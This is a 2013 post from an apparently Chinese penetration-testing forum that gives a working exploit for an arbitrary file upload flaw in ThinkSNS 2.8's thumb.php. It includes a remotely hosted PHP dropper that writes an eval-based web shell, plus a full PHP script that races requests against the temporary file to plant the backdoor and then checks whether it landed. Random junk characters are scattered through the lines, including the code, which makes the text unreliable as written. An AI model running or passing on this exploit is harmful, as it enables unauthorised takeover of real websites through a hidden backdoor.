中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
; Q: q' H+ h3 L' N! M' j/ E/ i存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)+ [, V7 r8 h( F$ ]4 m
漏洞文件
7 v" Y3 S; O6 y- J3 x  ?. p存在漏洞的文件为:thumb.php
0 k( o. Y( _- n) c/ _, o( x作者:韦鲲鹏
% q+ x, Q3 K5 q( I0 g* K1、        准备如下PHP文件并上传到服务器(自己的)。/ k! r( _6 e+ n
文件内容如下:6 _# q  q: M9 S8 h4 N4 _) \& f
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>/ o$ J) [  X! l4 ~
2、        计算出临时的文件名:, t, N; n0 p2 C! _. N2 |; B
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
# U4 p7 S* ]6 V4 A+ G& Y! ^2 ^: b& |; g) Q( I
3、        上传临时文件。
5 N4 H% Y' B8 G0 a+ _' M4、        访问临时文件。
$ A$ a7 K/ G! t( O) S9 x4 c0 r; }但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
# i7 y$ m5 m* X+ x- tExploit文件内容如下:(这个我就不详细解释了)
% H; x, \5 M, q& S6 i<?php3 D& X/ H" n) I; v0 A7 B3 ^
error_reporting(0);
8 x0 `" g7 l& @* dset_time_limit(0);3 r- v3 ]" }+ [) R
ini_set(“default_socket_timeout”, 5);) {# {  {% y  B( A: d# _
function http_send($host, $port, $headers) {
/ W4 g0 p8 H8 b4 n3 e( o5 Z$fp = fsockopen($host, $port);
8 j# J/ s! J% F$ p) L; lif (!$fp) die(‘Connection -> fail’);1 U7 X$ l  G3 l4 W
fputs($fp, $headers);
+ A4 H3 n. x0 P& W1 M  Nreturn $fp;5 r/ e: P  `) H; p
}
+ ~5 N' Q8 W: h6 n% @function http_recv($fp) {
) `7 x" i  N+ R4 ]$ret=”";% k7 X5 L5 R* r1 N2 d. w, [7 E
while (!feof($fp))
; W! {3 X! S7 `5 K$ E$ret.= fgets($fp, 1024);
/ a9 g: f  l4 F- u3 g4 e) Ifclose($fp);
8 f% T8 `9 O+ d+ ereturn $ret;  {- [" u. J8 ^1 ^# g9 O6 P1 v  Z
}
- C4 Z' }. k* V1 i, C8 Z9 ?" qprint “\n#  ThinkSns Arbitrary File Upload   #\n”;6 O: ^, E" t8 e# z! E1 {6 M
print “# Discovered by 韦鲲鹏 #\n\n”;
! z  S8 I. C4 hif ($argc < 4) {
, r3 k6 ^2 j) `5 O# Q7 X9 Kprint “Usage:   php <host> <path> <romote_url>\n”;
* l# E7 B0 Z! L7 H9 rprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: ~: R6 C" I3 W0 P9 L$ I- o3 E( ydie();
+ q5 T9 L2 \8 t6 h1 Z}# z% Y% M/ W& }; t9 o* n- r) v- p
$host = $argv[1];( b, ]9 L3 m$ b6 ~4 L* n2 i3 \
$path = $argv[2];4 ]$ g4 Q3 [( r) z' y+ }
$url = $argv[3];% E. u* h1 `. j" w+ L
$i=0;7 [/ W4 ~/ }, y% \. |
//上传数据包: _* z% i" D6 |, [9 u
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;& J+ e+ N( k1 I. Z4 F1 y
$headers_up .= “Host: “.$host.”\r\n”;4 ^/ r7 v4 F: h( x0 t
$headers_up .= “Connection: close\r\n\r\n”;
- w1 _2 [" o4 a! O' `8 x0 A+ ^echo $headers_up;
- G  A# ]& ]7 U% b7 Y: }% @% y6 ~//临时文件访问数据包. e' E( A5 q( \" P
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
; B- w6 {( ]* u, _  Z. O: _. ?$headers .= “Host: “.$host.”\r\n”;8 Z  r2 ]5 G; I  h
$headers .= “Connection: close\r\n\r\n”;! j. B# K# y. k; g
echo $headers;& b  O! x& |- E0 }7 n. r9 g
while(++$i<10) {
  o) M; a" c; ]! J2 p& nfclose(http_send($host, 80, $headers));
7 a3 I) I+ d- r% L7 h- ]6 _& G}
$ ~* Z2 G  Y1 }2 Q. J* s! Dfclose(http_send($host, 80, $headers_up));
, w( j! \4 N( Xwhile(++$i<50) {2 U$ a; z) C) S$ \! _1 l
fclose(http_send($host, 80, $headers));  |4 k: o8 p) D- v7 D$ s
}3 e$ `& C8 c9 F/ L: S: K# ^0 J( m
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
) q, Z$ `. W) N$headers .= “Host: “.$host.”\r\n”;
. X/ u  C- X0 k  j1 W6 c% p$headers .= “Connection: close\r\n\r\n”;, g0 l& `' r! k" D' f
$res=http_recv(http_send($host, 80, $headers));
3 P7 t+ D' J5 F% H  qif(preg_match(‘/200 OK/’,$res)) {
5 j) T! ?) f0 E; J, P1 j8 ~; C! tprint “Success!\n\n”;" F! o( l& ?# T% J4 ~1 e7 I6 J" [
} else {
1 m6 ^  k+ A$ E5 [+ R+ @. Cprint “Fail!\n\n”;& p, E/ U6 u: I  l" F( F
}$ C$ `, V3 |3 T2 w; h  L& N
?>
" I8 ]8 }. O9 q1 l) @1 W/ D




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2